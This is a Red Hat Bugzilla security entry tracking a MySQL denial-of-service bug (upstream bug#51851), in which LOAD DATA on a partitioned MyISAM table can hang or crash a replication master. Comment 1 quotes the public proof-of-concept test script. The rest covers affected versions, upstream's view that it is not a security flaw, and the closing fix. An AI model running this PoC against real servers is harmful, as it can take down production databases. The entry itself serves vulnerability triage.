Bug 718233 - mysql: DoS (master hang or crash) by executing LOAD DATA on a partitioned MyISAM table while using statement-based logging mode (MySQL bug#51851)
Summary: mysql: DoS (master hang or crash) by executing LOAD DATA on a partitioned MyI...
Keywords:
Status: CLOSED NOTABUG
Alias: None
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
low
low
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard:
Depends On:
Blocks: 717721
TreeView+ depends on / blocked
 
Reported: 2011-07-01 14:21 UTC by Jan Lieskovsky
Modified: 2019-09-29 12:45 UTC (History)
2 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2012-02-14 14:28:36 UTC


Attachments (Terms of Use)

Description Jan Lieskovsky 2011-07-01 14:21:04 UTC
It was found that MySQL server did not properly handle locks mutex in SQL queries executing LOAD DATA on a partitioned MyISAM table, when statement-based logging mode was used. A remote, valid MySQL user could use this flaw to cause a denial of service (master MySQL replication server hang or crash) via specially-crafted SQL query.

References:
[1] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-52.html
[2] http://bugs.mysql.com/bug.php?id=51851
[3] http://lists.mysql.com/commits/104667

Note:
On Red Hat Enterprise Linux systems exploitation of this issue would lead only to temporary denial of service, since mysqld daemon gets automatically restarted upon encountering a crash.

Comment 1 Jan Lieskovsky 2011-07-01 14:22:51 UTC
Public PoC from [2]:
====================

--source include/master-slave.inc
--source include/have_binlog_format_statement.inc

perl;
open( INIT, ">init_file.txt");
print INIT "abcd\n";
close( INIT );
EOF

USE test;

CREATE TABLE t_celosia_ddl_partitions
(id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, name TINYBLOB NOT NULL,
modified TIMESTAMP DEFAULT '0000-00-00 00:00:00',
INDEX namelocs (name(255))) ENGINE = MyISAM
PARTITION BY HASH(id) PARTITIONS 2;

LOAD DATA LOCAL INFILE 'init_file.txt'
INTO TABLE t_celosia_ddl_partitions (name);
COMMIT;

remove_file init_file.txt;

Comment 3 Jan Lieskovsky 2011-07-01 14:30:18 UTC
This issue did NOT affect the versions of the mysql package, as shipped with
Red Hat Enterprise Linux 4 and 5.

--

This issue affects the version of the mysql package, as shipped with 
Red Hat Enterprise Linux 6.

--

This issue affects the versions of the mysql package, as shipped with
Fedora release of 14 and 15.

Comment 4 Tom Lane 2011-07-11 18:10:50 UTC
The history in the upstream bug report shows that this fix was actually pushed into 5.1.53, despite the changelog entry claiming it was fixed in 5.1.52.  So I'm not surprised than 5.1.52 fails, but current Fedora should not ... you sure you tested it against 5.1.56?

Comment 5 Jan Lieskovsky 2012-02-14 14:28:36 UTC
(In reply to comment #3)
> This issue did NOT affect the versions of the mysql package, as shipped with
> Red Hat Enterprise Linux 4 and 5.
> 
> --
> 
> This issue affects the version of the mysql package, as shipped with 
> Red Hat Enterprise Linux 6.
> 

MySQL upstream does not consider this deficiency to be a security flaw.

The mysql package in Red Hat Enterprise Linux 6 has been upgraded to version 5.1.61 via RHSA-2012:0105 security advisory: https://rhn.redhat.com/errata/RHSA-2012-0105.html, and therefore this deficiency has been corrected in Red Hat Enterprise Linux 6 too.


Note You need to log in before you can comment on or make changes to this bug.